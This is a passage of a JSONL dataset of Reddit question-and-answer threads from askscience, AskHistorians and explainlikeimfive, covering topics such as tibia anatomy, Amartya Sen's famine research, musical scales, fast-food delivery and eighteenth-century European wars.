Wars IP. Disney has no interest in selling printer Ink, printer ink companies are probably interested in tying the Star Wars brand to their product. So thats the way the money flows.\n\nThe only exception would be Star Wars merchandise, which could be funded by Disney themselves (ie, they pay Hasbro or someone similar to make them) although a decent chunk of them would still pay Disney licensing fees to make Star Wars variants of their existing product (LEGO is a good example)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "zib8v", "title": "Is there a reason why the tibia is virtually unprotected?", "selftext": "Most of the other bones that support your limbs are pretty well protected by muscles and ligaments. Your forearms are bare at certain areas, but are still well protected. As for the tibia, it seems weird to me that it would be so vulnerable, with the only protection coming when you flex your leg, and even then most the bone is left uncovered.\n\nIs there a specific reason for this (like optimum functionality of the leg) or is that just the way it is?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zib8v/is_there_a_reason_why_the_tibia_is_virtually/", "answers": {"a_id": ["c64uebf", "c64unxq", "c64ut6f", "c64vflo", "c64vuvy", "c64wbh9", "c650dg0", "c650w2j"], "score": [33, 2, 50, 3, 8, 3, 2, 2], "text": ["I would look to the skull and assume that evolutionary processes (apologies in advance for personifying them) don't see bone as needing a great deal of protection. Bone is normally used for mobility or to protect vital organs such as the brain and abdominal viscera.\n\n\nA blunt impact on the tibia for instance would probably cause more damage to the skin due to the hard bone. I don't think in the event of a higher energy impact capable of breaking the bone (e.g. motorcycle, despite the evolutionary time issues) would not do so if there were muscles to pad it as fractures are often indirect. ", "Related question: how much has our walking upright shaped the muscles on our legs? Is this the reason for lack of front-of-leg muscles/fat?", "Three bits.\n\n1.  A simple evolutionary answer, Ancestors who had leg structure that was organized in this \"unprotected\" way survived and reproduced more than ancestors who had different musculature organization.  That doesn't mean that the current organization of tissue is \"the best\" it just means that it was good enough to survive and reproduce and better than the others that existed at that time.\n\nIf some people were born with mutations that changed how the tissues in their legs was organized, AND they could still walk/function in society, AND the rest of us normals saw it as a desirable trait, THEN humans might end up with different leg musculature.  But given our current population size, rate of mutation, and mating styles I doubt it.\n\n\n2.  A complex bio-mechanical answer . . . will have to come from someone else.  :)   I'm not well versed in bio-mechanics.\n\n\n3.  I'm not in complete agreement that your tibia is actually all that much less protected than other parts of your body.  Your fingers aren't covered by much.  Your skull isn't covered by much.  Your shoulder blades aren't covered by much.", "A side comment, the simple access to the tibia through the skin makes it easy for physicians to acquire \"interosseous\" access, when IV access is unavailable.\nGoogle IO access for more information.", "There is little necessity for muscles to be anterior of the tibia for means of movement other than moving the foot which the tibialis anterior m. takes care of (dorsiflexion and inversion). Relative to our locomotion, those movements aren't needed to be extremely strong, so one muscle does just fine. Following along the lines of a muscle's primary function not being for protection, it would be inefficient/excessive to have unnecessary muscles.", "[Cortical remodeling](_URL_0_) is usually most active in the tibia.\n\nThus, it can become quite the formidable bodily weapon.   Striking with the legs versus other parts of the body during combat is advantageous in several ways:\n\n1) Critical organs are maintained at a maximal distance from the enemy.\n\n2) Greater force is imparted with leg blows as opposed to other blows due to the involvement of the largest muscles in the body (gluts and quads).\n\nI'm not saying this is the reason why the tibia is not as buried as other bones (excepting fingers and the skull, obviously), but it does have advantages, which may be important from an evolutionary standpoint.", "Tibias are strong enough that they don't really need to be protected, at least not until shin-height coffee tables were invented.\n\nThe bone there is also a plus in some scenarios.  I've seen pictures of old tibetans that sleep kneeling on their shins, to minimize heat transfer to the ground.", "Couple of answers, as you have a number of questions:\n\n- Like others mentioned, muscles and especially tendons are not meant as protection, and are easily damaged compared to bones (ligaments connect bone-to-bone, and so are not easily visible or palpable).\n- The tibia is an extremely strong bone, designed to handle lots of compression force as well as torsion and lateral force. \n- Natural selection isn't \"intelligent\" in any way. One way to look at it is that, at any given point, a feature looks the way it does, let's say human having hairy armpits. Natural selection has no thoughts on this one way or another. The only things that matter are whether or not having hairy armpits results in those that do have them having more viable offspring than those that don't, assuming the trait is genetic to begin with. That's it. One could envision those that had hairy armpits might have more children than ones without due to greater pheromones, or being more sexually attractive, or maybe there's a lethal armpit bug that kills you if you don't have hair. Maybe they have fewer children because of a bad odor, or the odor alerts predators who selectively like the taste of those with hairy armpits (the opposite of the armpit bug above).\n- Adding to the natural selection piece, there would be negative selection for traits that were very \"expensive\" to create, expensive meaning in terms of energy, which assumes that food is scarce, and so creating something that needs a lot of it doesn't make sense if it doesn't have a point. Things that classically describe \"expensive but needed\" are things like peacock feathers, which are a lot of work for them to create, and probably make them easier to catch and eat, but are used to draw in mates, so the pressure is positive. Relating this to the tibia, even if we assume muscle is protective, it would be very expensive to create a muscle just to protect the tibia. That's why we don't see huge muscles over our skull and other places, they provide nothing really positive, but are very expensive.\n- Lastly, natural selection takes a very very long time to have any effect, regardless of whether you believe in the slow change or rapid shift model (forget what they're called). Therefore, the body won't really evolve to prevent infrequent accidents because they don't provide enough selective pressure to move them, and since they're random they'd likely take out those with and those without a mutation. Having a tougher, or more protected, tibia would only make it less likely for you to break your tibia. Although that would be bad, and probably lethal in the old days, they weren't stupid back then and doing things that resulted in broken bones frequently, so if you had a gene for stronger tibia it probably wouldn't have mattered much from an evolution standpoint.\n\nAnyway, sorry so long."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://en.wikipedia.org/wiki/Wolff's_law"], [], []]}
{"q_id": "4d3x4y", "title": "After the Battle of Jena-Auerst\u00e4dt, the sword and sash of Frederick the Great were taken to Les Invalides. What happened to them? Did the Prussians ever get them back?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4d3x4y/after_the_battle_of_jenaauerst\u00e4dt_the_sword_and/", "answers": {"a_id": ["d1nqzqh"], "score": [13], "text": ["These items of Frederick the Great, along with a sizable majority of captured standards went up in flames on 31 March 1814 at Les Invalides. The governor of Les Invalides, Marshal S\u00e9rurier, had inquired to the War Ministry about these trophies, and the Ministry had assured him that there were provisions being made to evacuate the items, but the Allied advance on Paris forestalled these plans. S\u00e9rurier had the assistance of the various pensioners of Les Invalides, who after being informed by the Marshal that the occupation of the city was imminent, helped to set a massive bonfire where these trophies, including Frederick the Great's sword, were destroyed.    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "12elfd", "title": "Text covering detail on Kristallnacht?", "selftext": "I'm doing my research paper on Kristallnacht. An interesting subject to me but i can never seem to find good articles that go deep into the subject and my professor would see fit. help?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/12elfd/text_covering_detail_on_kristallnacht/", "answers": {"a_id": ["c6ufauv", "c6ukt9s"], "score": [3, 3], "text": ["What articles have you read so far?\n\nDo you read German?\n\nWhat's the focus of your paper?", "I had a very interesting lecture from a Mr. Harry Bibring, an Austrian Jew whose father's shop was destroyed in the Kristallnacht (or Reichspogromnacht, from our modern perspective) when I was still in school. A very interesting talk, I would look into finding if there are any transcripts from people who experienced the events, or better videos of them talking about it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cky7fj", "title": "what makes older folk central european/middle eastern music sound different from 'western' music?", "selftext": "I've never taken a music theory class or played a musical instrument, but I've been noticing a lot of similarities in the melodies of some disco or surf rock tracks. They feel like they have a more shared sound to folk music from other parts of the world and sound very unlike most of the music I listen to. What makes these songs sound more 'foreign' to my American ears? \n\nExamples:\n\nDisco- 'Voulez-Vous' by ABBA, 'Rasputin' by Boney M\n\nSurf rock: 'Jumping Someone Else's Train' by the Cure, 'Misirlou' by Dick Dale  &  The Del Tones\n\nForeign folk example: Vesna by DakhaBrakha", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cky7fj/eli5_what_makes_older_folk_central_europeanmiddle/", "answers": {"a_id": ["evrv4zq"], "score": [4], "text": ["Hi!\n\nAll the songs you\u2019ve listed (except Misirlou) are in \u201cminor\u201d keys, which tend to be favored by Middle Eastern or Central European cultures. I suspect the songs you\u2019re comparing them too are in \u201cmajor\u201d keys, favored by more western music.\n\nThe difference between these two are the intervals between notes. Musicians tend to measure the distance between close notes in the number of half-steps between them, with a whole step being equivalent to two half-steps. What a half-step is, besides a unit of measurement, isn\u2019t super important for the sake of this explanation. Below, I\u2019ve represented the notes with the number (1 is the first note in the scale, etc...) and then put the distance between the notes in between. A major scale looks like this:\n\n1 - whole - 2 - whole - 3 - half - 4 - whole - 5 - whole - 6 - whole - 7 - half - 1 (and then the scale repeats itself.)\n\nA minor scale looks like this:\n\n1 - whole - 2 - half - 3 - whole - 4 - whole - 5 - half - 6 - whole - 7 - whole - 1 (and then the scale repeats itself.)\n\nThis causes a huge difference in what the music sounds like. Additionally, some songs use scales that aren\u2019t either of these.\n\nAnyway, feel free to let me know if you have any more questions, I tried to keep it as basic as possible but let me know if you want more detail.\n\nTL;DR The distances between notes are different in the songs you\u2019re describing.\n\nEdit: Misirlou uses a [double harmonic scale](_URL_0_), which is different from both major and minor. The original ELI5 still stands, though, as the resulting difference is still because of the difference in the interval between notes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Double_harmonic_scale"]]}
{"q_id": "6sh7g9", "title": "lizards tales fall off when running away or scared. did any dinosaurs have this same mechanism on a giant scale?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6sh7g9/eli5_lizards_tales_fall_off_when_running_away_or/", "answers": {"a_id": ["dlctvyk"], "score": [9], "text": ["Possibly but it isn't safe to assume so just because lizards do it, lizards and dinosaurs aren't that closely related, but if there are any birds that can do it it would be safer to assume off that"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "a7710h", "title": "why do tech companies such as apple and microsoft skip the \u201c9th\u201d gen aka iphone 9 or windows 99 or windows 9?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a7710h/eli5_why_do_tech_companies_such_as_apple_and/", "answers": {"a_id": ["ec0sfv5", "ec0shin", "ec0sx75", "ec0vopj"], "score": [9, 25, 12, 2], "text": ["Windows skipped it because there was code in old applications that searched for windows 9* in order to work on both windows 95 and windows 98.", "Windows 9 was skipped because of a technical problem\n\nMany older applications perform a version check on launch and due to lazy coding assumed that a response of Windows 9 meant Windows 95 or 98.\n\nThis caused so many applications to malfunction that they decided to call Windows 9 Windows 10 instead.", "iPhone 9 was skipped because the \u201cx\u201d (not the 10) was Roman numeral for 10 for 10 years of iphones", "For Windows 99, there was no major release for that year. After Windows 98 shipped in 1998, there was Windows 2000 in the year 2000. There was also Windows ME that same year, but we don\u2019t talk about that version.\n\nFor Windows 9, the number was skipped because lazy programmers in the early \u201800s detected Windows 95 and 98 by looking for \u201cWindows 9\u201d in the version name, causing them to act like they were on a very old version of Windows.\n\nI\u2019m not sure why Apple skipped 9 for the iPhone."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1ikaw8", "title": "Why do radiologists always keep it dark in the room where they take x-rays? Does visible light affect the x-ray exposure?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ikaw8/why_do_radiologists_always_keep_it_dark_in_the/", "answers": {"a_id": ["cb5d70j", "cb5gdzz", "cb5hpdz"], "score": [3, 11, 4], "text": ["It depends on how you are measuring the x-rays.  In film imaging, the x-rays strike a piece of radiographic film, which goes on to be developed into a picture.  In detector-based imaging, the x-rays strike a planar semiconductor detector, which generates a digital image.\n\nThe reason that a radiologist would take an image in a dark room is if they are using certain types of film that are sensitive to visible light (in addition to x-rays).  For instance, silver-halide film forms an image when the Br^- ions are liberated and captured by Ag^+ .   Both x-rays and visible light can liberate the Br^-, and so the film responds to both types of photons.\n\nThe film is loaded into a cassette in a dark room, and the then image is taken in low light so that very little (if any) visible light penetrates the covering of the film.  X-rays have no trouble penetrating this covering, and so by blocking the visible light, the image on the film is only from x-rays.\n\nIn semiconductor detector-based imaging there is no need to worry about visible light.  But some radiologists may still dim the room lights out of habit.", "The region of the patient's body that will be exposed and visualized through x-ray based imaging is commonly shown in the room by a light beam projected from where the x-rays originate.  By keeping the room dark, a radiologist or x-ray tech can see whether the patient is properly positioned with respect to the beam.\n\nThe light beam also allows the radiologist to adjust the beam so that it focuses on as small a region as possible without missing the anatomic structures of interest, a process known as \"collimation.\"  Collimating the beam reduces x-ray photon scatter, which in turn improves image sharpness. It also reduces patient exposure.", "Ignore the stuff about films. If we are talking about Radiology in a developed country, the imaging is done digitally using one of two types of detectors. Both types of detectors have a low sensitivity to the visible spectrum, and have a protective cover anyway. Even old fashioned film was kept in a cassette, so the light in the room was not a problem.\n\nThe real reason the room is kept dark, is because the region that is going to be irradiated is indicated by what is referred to as a \"light beam diaphragm\", and the light sources used aren't very powerful. Hence to get a good idea what you are taking a picture of, it's best to have a bit of mood lighting.\n\nA second reason is that the processing/viewing areas are often in low light for optimum viewing purposes, so some radiology departments tend to keep all the lighting at the same level.\n\nOh, and it's usually a Radiographer or Radiology Technician that perform plain xray examinations, not a Radiologists. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2b3phx", "title": "\"Amartya Sen has argued that no famine from the last 1,000 years can be attributed to natural causes\"", "selftext": "I was reading one of the threads from the wiki and this comment came up, but it doesn't seem to have been expanded on. Could someone explain this?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2b3phx/amartya_sen_has_argued_that_no_famine_from_the/", "answers": {"a_id": ["cj1lzts"], "score": [36], "text": ["His work on famines first came to wide attention with his 1981 book *Poverty and Famines*.\n\nAs [a New York Times article from 2003](_URL_5_) notes:\n\n > When the International Labor Organization asked him to look into the causes of famines in the mid-1970's, Mr. Sen decided to focus on the Great Bengal Famine of 1943, in which as many as three million people died. As a 9-year-old boy in a privileged Bengal family, he had seen the suffering first hand. At the time of his research, it was widely assumed that famines were caused by sudden food shortages. Examining records, however, Mr. Sen found that food production in Bengal had not declined. Rather, food prices had soared while farm wages had sagged, making it hard for rural workers to buy food.\n\n > Examining more recent famines in Ethiopia and Bangladesh, Mr. Sen found that they, too, were caused not by food shortages but by lagging rural incomes. In his landmark ''Poverty and Famines'' (1981), he argued that most famines could be readily prevented by mounting public works projects for those most in peril.\n\n > That book did not consider the role of democracy. Soon after it appeared, however, Mr. Sen began hearing reports about the Chinese famine of 1958 to 1961. The full dimensions of that calamity had remained hidden from the outside world, but after Mao's death it became clear that tens of millions had died. To Mr. Sen the reason seemed clear: the absence of a free press and opposition parties meant there was no one to sound the alarm. By contrast, India had been free of famine since independence. In a 1982 article for The New York Review of Books, Mr. Sen argued that even a fraction of the Chinese death toll ''would have immediately caused a storm in the newspapers and a turmoil in the Indian parliament, and the ruling government would almost certainly have had to resign.''\n\nIn Bengali famine of 1943, for instance, Sen argues pretty convincingly that food produced in Bengal was much the same 1943 (a famine year) and 1941 (a non famine year).  Previous arguments had always assumed that famines were *supply side* problems, that is, there wasn't enough food, therefore the assumption was that the difference in the two years was that there was more \"carry over\" in 1940 than 1942.  Sen, however, argues that it is *demand side* that matters.  Particularly, he argues it is not a lack of food [1941 was like 1943, and they're even similar when considering two or three year averages to look for expected differences in carry over], but a problem in the distribution of purchasing power\u2014namely, that the War economy both increased demand and especially left behind rural wage earners as urban wages rose, making rural wage earners the primary victims of the famine.  It's not that there wasn't enough food, it's that the *price* of food shot up, putting out of reach for three million [!] in pre-partition Bengal.\n\nI don't have the book on me (it's one of those I picked up and never finished), but you can get a pretty clear idea of his argument by reading a series of exchanges in the *New York Review of Books*.  The first is Joseph Lelyveld's [review of Madhusree Mukerjee's *Churchill\u2019s Secret War: The British Empire and the Ravaging of India During World War II*](_URL_4_) (\"At first glance, Mukerjee\u2019s book is a detailed working out of Amartya Sen\u2019s proposition that a democratic government will preserve its people better than a regime that rules from afar\") [most of the following quotes from these letters, which I have handy, not Sen's book, which was long ago returned to the library].  This devolved into 3 rounds of letters ([1](_URL_3_), [\"Joseph Lelyveld notes that I do not discuss Amartya Sen\u2019s assertion that Bengal contained enough grain to ward off famine. I avoided this aspect of Sen\u2019s work because his conclusion of sufficiency in Bengal has been seriously challenged. Historian Mark Tauger has shown that Sen based his crop estimates on projections, and that crop diseases spread by wet weather appear to have drastically reduced the actual harvest.\"; Sen replies in part, \"Mark Tauger\u2019s data come from exactly two 'rice research stations' from two districts in undivided Bengal, which had twenty-seven districts. Since weather variations have regionally diverse effects, it would require more than this to 'seriously challenge' the analysis I made, using data from all districts, which indicated that food availability in 1943 (the famine year) was significantly higher than in 1941 (when there was no famine). Ignoring the range of data I used in my study, she misdescribes my estimates as being based only 'on projections'\" and \"There was indeed a substantial shortfall compared with demand, hugely enhanced in a war economy, as I have described in detail, but that is quite different from a shortfall of supply compared with supply in previous years.\"] [2](_URL_0_) [Tauger says biologists at the time thought there was a famine based on supply, Sen says, no, but seriously, I have better data than the biologists], [3](_URL_2_)  [Tauger replies in part, \"Sen either failed to read what I wrote or chose to misrepresent it,\" Sen then gives a pretty good case for why his data and arguments are better).  For those interested in what academic arguments look like, read the letters.  Others should, skip to Sen's part of the last round of letters.  But basically, he argues that the short fall in supply in 1943 was common, having occurred in previously in 1928, 1936 and 1941.  In 1941, for example, a slightly more severe shortfall caused a no famine.  Why was 1943 different?  Not a shortage of supply, but changes in demand, particularly the boom in urban wages which lead to high prices in cities and famine in the countryside.\n\nHis letter ends:\n\n > different economic influences [fueled] the boom economy of Bengal [in 1943], with a sharp rise in the demand for commodities, particularly demand for food, but which also left some people, especially rural wage earners (whose wages had lagged seriously behind food prices), without the means to obtain much food.\n\n > The upward pressure on food prices was enhanced by the government\u2019s drive to procure rice from rural Bengal to feed the Calcutta population through making food available in urban ration shops at heavily subsidized prices (mainly for helping the successful conduct of the war, for which \u201cpeace in Calcutta\u201d was taken by the Raj to be extremely important), as well as by the speculative withdrawal of food stocks from the market by professional traders and also by the panic-stricken public. The sharp increase in food prices had devastating effects on the rural poor, especially on rural wage earners.\n\nI focus on the 1943 argument because that's the chapter I read most closely in Sen's book [it was the letters in the *NYRB* that sent me to the library], and only really glanced at the others, but it's also where Sen's thinking about famines begins and always seems to return to, especially this comparison between the same supply in 1941 and 1943 with different demands.  Sen writes in his original volume, \u201cNo matter how famine is *caused*, methods of *breaking* it call for a large supply of food in the public distribution system.\u201d  Sen is not arguing that famine has no natural influence [in other parts of his book, he discusses famines caused by a much sharper drop in supply, like Ethiopia], but rather famine is always preventable, and therefore, any failure to prevent famine is a failure by first the market (distortion in wage and price) and then by the government (who failed to remedy this by public distribution).  That's why, as Sen argues, there's never been a famine in democracy.  There's been, and still is, hunger.  There are even deaths by starvation (as that first *Times* article points out, there are sometimes a hundred starvation deaths a month in some Indian provinces), and Sen himself has elsewhere argued that four million people die prematurely in India every year from malnutrition and related conditions, but there has never been a *famine* because a free press and democratically accountable politicians simply wouldn't stand for it.  Sen's argument has been criticized from the left (who argue that his limited view of famines and limited public distribution to prevent them ignore both larger problems, like malnutrition and land reform) and right (who argue that free markets prevent famines and things like economic liberalization is the key to increasing both food supply and purchasing power).  Others argue with parts of the data he relies on, saying we should ignore it as unreliable (a whole section on the [Bengal famine wiki](_URL_1_) makes this point; while it doesn't make this connection until later in the article, this section seems aimed at Sen; and the substance of Mark Tauger's letters to the *New York Review of Books* were based on a different set of criticism). \n\nWhile I'm not confident enough to say that *no* famine was caused by natural causes (I'm not a famine expert), Sen does make a very convincing case that many devastating modern famines are not caused by an total lack of food, but rather problems in the distribution of said food, often caused not primarily by changes in supply, but changes in demand, which lead to things like hoarding and some people starving while others do fine.  A cyclone or a blight is not enough to cause famine alone.  During the potato blight, for example, Ireland was famously still a net exporter of food to England.  For a variety of products, exports actually increased during the Great Famine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nybooks.com/articles/archives/2011/mar/24/truth-about-bengal-famine/", "http://en.wikipedia.org/wiki/Bengal_famine_of_1943#Lack_of_statistics", "http://www.nybooks.com/articles/archives/2011/may/12/bengal-famine/", "http://www.nybooks.com/articles/archives/2011/feb/24/bengal-famine/", "http://www.nybooks.com/articles/archives/2010/dec/23/did-churchill-let-them-starve/", "http://www.nytimes.com/2003/03/01/arts/does-democracy-avert-famine.html"]]}
{"q_id": "368gu4", "title": "the supreme court case united states v. miller (1939)", "selftext": "The case is 76 years old and concerns the National Firearms Act of 1934. One of the only things I hear about it and really understand is that it concluded that a felon can't be tried under the NFA because registering his firearm would be a 5th Amendment violation. Essentially the law only effects law abiding citizens and gives the government a way to, for the most part, arrest for tax evasion otherwise law abiding citizens. \n\nAnother view was that since short barreled shotguns weren't in use by the military or organized militias at the time, those kinds of weapons are not protected by the 2nd Amendment. But since then, the military has used such devises, and the M4, the current infantry rifle, is a short barreled rifle under the NFA, yet a civilian can't own a rifle with the same length barrel without going through the NFA. If the firearms used in the military are technically NFA items in common use, should they still be regulated as such?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/368gu4/eli5_the_supreme_court_case_united_states_v/", "answers": {"a_id": ["crbqpto"], "score": [5], "text": ["The NFA isn't \"registration\", it applies an excise tax to certain types of firearms.\n\nOwning the firearms isn't illegal, not paying the taxes is illegal; illegal manufacture of a firearm is illegal.\n\n > \"...those kinds of weapons are not protected by the 2nd Amendment.\"\n\nThe issue remains that the 2nd Amendment was misinterpreted by the SCOTUS to apply an artificial standard of \"sporting use\" to the Amendment; which clearly goes against the intent of the writers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3dxmv3", "title": "How accurately does Dostoyevsky's Crime and Punishment depict the life of the average 19th century Russian?", "selftext": "Twisting up the theme, excluding the obvious moral points of focus, would a regular 19th century Russian have access to pawnbrokers? Does the sentence the protagonist gets an accurate depiction of the punishments one would receive after committing murder in the 1800s? Is his cramped conditions an accurate depiction of the citizenry of St Petersburg?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3dxmv3/how_accurately_does_dostoyevskys_crime_and/", "answers": {"a_id": ["ct9ql3b"], "score": [21], "text": ["Short answer: Yes!\n\nDostoyevsky frequently used contemporary Russian society as a setting for his short stories and novels. You can see similar depictions of Russian society in the works of other authors, such as Gogol's depiction of the life of a civil servant in \"The Overcoat\", or Lermontov's description of Russian provincial life in \"Hero of our Time\". These men, by and large, had either lived through or had secondhand experience with the lifestyles they described in fiction, and are quite reliable in faithfully interpreting daily existence in their stories. \n\nThe punishment itself is not unusual either. Given the vast expanse of the Russian Empire, isolation and exile to the far reaches of the empire were not unusual punishments. We in the West tend to think of the gulag as a Stalinist invention, but in reality, tsarist-era internal exiles and segregation from society were quite common. The expanse of Siberia made it a convenient place to send criminals, especially given the bloated bureaucratic apparatus of the 19th century Russian state. \n\nAs for the life of our superman Raskolnikov, Dosteyevsky's depiction is quite faithful. The average civil servant in St. Petersburg frequently lived in cramped quarters, often sharing a room with one or many others, and would certainly have a personal relationship with the landlord. Of course, not all these relationships ended in axe murder, but sometimes that's just the price of being a greedy old pawnbroker."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3phxn4", "title": "Why were there no major military campaigns in Europe during the American Revolution despite France, Great Britain, Spain, and the Netherlands being very close?", "selftext": "Repost bc typos", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3phxn4/why_were_there_no_major_military_campaigns_in/", "answers": {"a_id": ["cw6k0w1", "cw6vf8c"], "score": [17, 6], "text": ["I'm not sure what you are asking about exactly but there is the Angle-French War of 1778-1783, which can be viewed as an extension of covert assistance given by France, Netherlands, and Spain to the Americans, into an overt war against Britain. \n\nPerhaps you can better explain what it is you are asking. ", "An important concept in Europe in the 17th and 18th centuries was the 'balance of power'. Major powers, chiefly the ones you mentioned in your question, wanted to prevent any other power from achieving a dominating position on in Europe. The balance of power is a system where states would form alliances against whichever other state threatened domination. The goal was not to preserve peace, but to preserve the sovereignty and independence of each European state. \n\nIn the 17th century many wars with varying coalitions were fought within Europe, but during the 18th century the attention shifted to the colonies. The War of the Spanish Succession (1702-1713) was fought by a grand alliance consisting of England, the Dutch Republic, the Austrian emperor, Brandenburg, Portugal, and Savoy. They fought to prevent the Bourbon family - who were the royal family of France and were to also become the royal family of Spain - from getting too much power. In the end France/Spain lost; a Bourbon was allowed on the Spanish throne, but the Spanish possessions in Europe were partitioned. Britain emerged as the new greatest power.\n\nThe War of the Austrian Succession (1740-1748) was the first in which overseas successes/losses played a major role. France and allies were powerful on the European continent, but the capture by British and allied forces of the French fortress of Louisburg in America and the subsequent blockade of the French West Indies forced the French to negotiate a peace. In the interest of the balance of power, Britain and France agreed to return to the situation before the war, i.e. all occupied territories and fortresses were returned to their respective owners.\n\nThe Seven Year's War (1756-1763) once again saw Britain and France going head to head, this with swapped alliances (because of balance of power each country which alliance served their interests best). Some of the fighting took place in Europe, but by now the center of gravity had shifted to the colonies. Both Britain and France were by now dependent on trade with their colonies, and the colonies provided a lot more easy pickings than the heavily defended European countries. So the most important fights of this war took place in India and America. In the end France lost the war and was forced to abandon North America.\n\nThis set the stage for the American Revolution, at least as far as European involvement is concerned. For two centuries European states had fought each other both in Europe and abroad. The fights in Europe had proven to be costly and difficult, whereas the fights in the colonies had proven to be very effective. Since dependence on trade with the colonies had grown over the years, a victory in the colonies would force a state on its knees. This is the answer to your question why there were no major military campaigns in Europe. The campaigns in Europe had been fought over and over again and were quite predictable (Britain dominates the seas while standing no chance in a continental fight, France dominates the continent, with other states playing roles of varying importance either in their own right or as allies). These states knew that the colonies were the place were the war(s) would be decided. So during the American War of Independence you've got the Anglo-French War and the Fourth (!) Anglo-Dutch War both being fought primarily on the seas and overseas.\n\n------\n\nSource: I used Palmer's History of the Modern World for making sure I got my facts straight in this answer.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3xsmtk", "title": "why don't places like mcdonalds' and burger king have delivery services?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3xsmtk/eli5_why_dont_places_like_mcdonalds_and_burger/", "answers": {"a_id": ["cy7g2rx", "cy7g59i", "cy7g94f", "cy7gepk", "cy7gg4y", "cy7glf5", "cy7iel8", "cy7kekj", "cy7m9d0"], "score": [5, 2, 4, 20, 37, 16, 2, 2, 2], "text": ["Because for a lot of people it doesn't make much sense and its not more profitable for the company. A meal is like $6-7 at one of these places. Are you going to pay the same amount for delivery + tip combined?\n\nAlso, their food tastes bad cold, especially the fries. \n\n", "Cost benefit analysis would probably dictate that the cost of fuel and a delivery employee wouldn't be offset enough by the infrequency of purchase due to price markup for the delivery service.\n\n**tl;dr**: it would probably cost too much and earn too little to entertain the idea of such service.\n\nWould you pay 15 bucks for a simple combo meal and pay a driver a tip to boot?", "I have friends in Costa Rica and in some areas McDonald's delivers. The closest one is roughly 15 minutes away, and by the time they get their food (a Big Mac meal, for example), the burger and fries are cold and the drink is watered down. So I guess a delivery service for restaurants like these only makes sense if a customer lives really close, or if they can find a way to keep the food hot en route, but all of this probably wouldn't be very economical.", "Some do, actually. Burger King, I know for sure. [See here](_URL_0_)\n\nIt's just location dependent.", "Mcdonalds has delivery.  It's called McDelivery.  [Check it out](_URL_0_)", "Depends on the area. \n\nMcDonald's and many other fast food chains in Shanghai will deliver 24/7. ", "They do, usually in cities. They have a $3 or $3.50 delivery charge and the delivery guys use scooters or small bikes. It makes a lot more sense for them to do it in cities because they can complete deliveries very quickly and even 2 or 3 at a time for nearby addresses so the company can easily profit from the delivery charge, as compared to a 20 minute drive for a single address like it might take in the US. Insurance and running costs for scooters are also very low. ", "Depends on location. No tips in my part of the world, but a delivery charge is incurred. And some outlets even deliver 24/7. Nothing like having McDonalds breakfast sent right to ya at 5 in the morning after an all night bender. Hoo wee!", "Of course they do.. Where do you live though?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://bkdelivers.com/#"], ["https://en.wikipedia.org/wiki/McDelivery"], [], [], [], []]}
{"q_id": "1ng3ey", "title": "What connections are there between Christianity/Judaism/Islam and cannabis/psychedelic substances?", "selftext": "I stumbled across this article the other day mentioning cannabis(marijuana) as a ingredient for a oil used by Jesus and his followers to anoint and heal people. They claimed the oil to be holy and sacred in its use.  The article seemed to draw conclusions that marijuana had a big part to play in early Christianity and its importance to it still today. Here is the article:\n\n _URL_0_\n\nNow I'm already fascinated by psychedelic substance use and modern religions (and their lack of mentioning of them if there is a true connection) and I just wanted other people's input into if this is bunk or not. I'm familiar with other theories out there claiming Christ being translated to \"semen covered mushroom\" or the burning bush that spoke to Moses having psychedelic properties.\n\nI'm already somewhat convinced (admitting my own bias here) that these ancient people were probably tripping balls in their writings but how much did the advocate the use of these natural psychedelic plants? Am I incorrect of them using them at all? What evidence out there shows connection between them? Or vice versa, is this all just cherry picking scriptures and drawing some far fetched conclusions?\n\nedit/ I included Islam/Judaism with Christianity because I've heard it compared that they are all looking out of the same building but through different windows and from my understanding all share some history together.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ng3ey/what_connections_are_there_between/", "answers": {"a_id": ["ccia1rw"], "score": [10], "text": ["A hitherto well-respected Dead Sea Scrolls scholar named [John Allegro](_URL_0_) was famously discredited and disavowed for publishing his book *The Sacred Mushroom and the Cross*. I have not read the book, so I can't comment on its value as scholarship, but his colleagues and even his mentor dismissed it completely. Publishing it put an end to what had been an illustrious academic career."]}, "title_urls": [], "selftext_urls": ["http://patients4medicalmarijuana.wordpress.com/marijuana-info/marijuana-in-the-bible/"], "answers_urls": [["http://en.wikipedia.org/wiki/John_M._Allegro"]]}
